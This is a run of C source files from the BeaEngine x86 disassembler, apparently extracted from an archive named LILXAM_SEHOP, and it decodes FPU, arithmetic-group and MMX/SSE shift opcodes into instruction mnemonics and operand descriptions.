        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ffreep ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxch7 ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp8 ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp9 ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;

        }
        else if ((MyMODRM & 0xf0) == 0xe0) {
            if (MyMODRM == 0xe0) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstsw ");
            }
            else if ((MyMODRM & 0xf) >=8) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucomip ");
                (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
                (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
                (*pMyDisasm).Argument2.ArgSize = 80;
            }


            else {
                FailDecode(pMyDisasm);
            }
        }

        else if ((MyMODRM & 0xf0) == 0xf0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomip ");
                (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
                (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else {
                FailDecode(pMyDisasm);
            }

        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      80h
// ====================================================================
void __stdcall G1_EbIb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    EbIb(pMyDisasm);
    if (REGOPCODE == 0) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
        FillFlags(pMyDisasm, 5);
    }
    else if (REGOPCODE == 1) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
        FillFlags(pMyDisasm, 74);
    }
    else if (REGOPCODE == 2) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
        FillFlags(pMyDisasm, 4);
    }
    else if (REGOPCODE == 3) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
        FillFlags(pMyDisasm, 93);
    }
    else if (REGOPCODE == 4) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
        FillFlags(pMyDisasm, 6);
    }
    else if (REGOPCODE == 5) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
        FillFlags(pMyDisasm, 103);
    }

    else if (REGOPCODE == 6) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
        FillFlags(pMyDisasm, 113);
    }

    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
        FillFlags(pMyDisasm, 20);
        (*pMyDisasm).Argument1.AccessMode = READ;
    }
}

// ====================================================================
//      82h
// ====================================================================
void __stdcall G1_EbIb2(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        G1_EbIb(pMyDisasm);
    }
}

// ====================================================================
//      81h
// ====================================================================
void __stdcall G1_EvIv(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    EvIv(pMyDisasm);
    if (REGOPCODE == 0) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
        FillFlags(pMyDisasm, 5);
    }
    else if (REGOPCODE == 1) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
        FillFlags(pMyDisasm, 74);
    }
    else if (REGOPCODE == 2) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
        FillFlags(pMyDisasm, 4);
    }
    else if (REGOPCODE == 3) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
        FillFlags(pMyDisasm, 93);
    }
    else if (REGOPCODE == 4) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
        FillFlags(pMyDisasm, 6);
    }
    else if (REGOPCODE == 5) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
        FillFlags(pMyDisasm, 103);
    }

    else if (REGOPCODE == 6) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
        FillFlags(pMyDisasm, 113);
    }

    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
        FillFlags(pMyDisasm, 20);
        (*pMyDisasm).Argument1.AccessMode = READ;
    }
}

// ====================================================================
//      83h
// ====================================================================
void __stdcall G1_EvIb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    EvIb(pMyDisasm);
    if (REGOPCODE == 0) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
        FillFlags(pMyDisasm, 5);
    }
    else if (REGOPCODE == 1) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
        FillFlags(pMyDisasm, 74);
    }
    else if (REGOPCODE == 2) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
        FillFlags(pMyDisasm, 4);
    }
    else if (REGOPCODE == 3) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
        FillFlags(pMyDisasm, 93);
    }
    else if (REGOPCODE == 4) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
        FillFlags(pMyDisasm, 6);
    }
    else if (REGOPCODE == 5) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
        FillFlags(pMyDisasm, 103);
    }

    else if (REGOPCODE == 6) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor ");
        FillFlags(pMyDisasm, 113);
    }

    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
        FillFlags(pMyDisasm, 20);
        (*pMyDisasm).Argument1.AccessMode = READ;
    }
}
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//
// ====================================================================
void __stdcall G12_(PDISASM pMyDisasm)
{
    long MyNumber;

    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 2) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
    }
    else if (REGOPCODE == 4) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }

    }
    else if (REGOPCODE == 6) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
    }

    else {
        FailDecode(pMyDisasm);
    }

}







__MACOSX/LILXAM_SEHOP/BeaEngine/Includes/instr_set/._opcodes_Grp12.c





LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp13.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//
// ====================================================================
void __stdcall G13_(PDISASM pMyDisasm)
{
    long MyNumber;

    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 2) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
    }
    else if (REGOPCODE == 4) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }

    }
    else if (REGOPCODE == 6) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
    }

    else {
        FailDecode(pMyDisasm);
    }

}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp14.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//
// ====================================================================
void __stdcall G14_(PDISASM pMyDisasm)
{
    long MyNumber;

    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 2) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
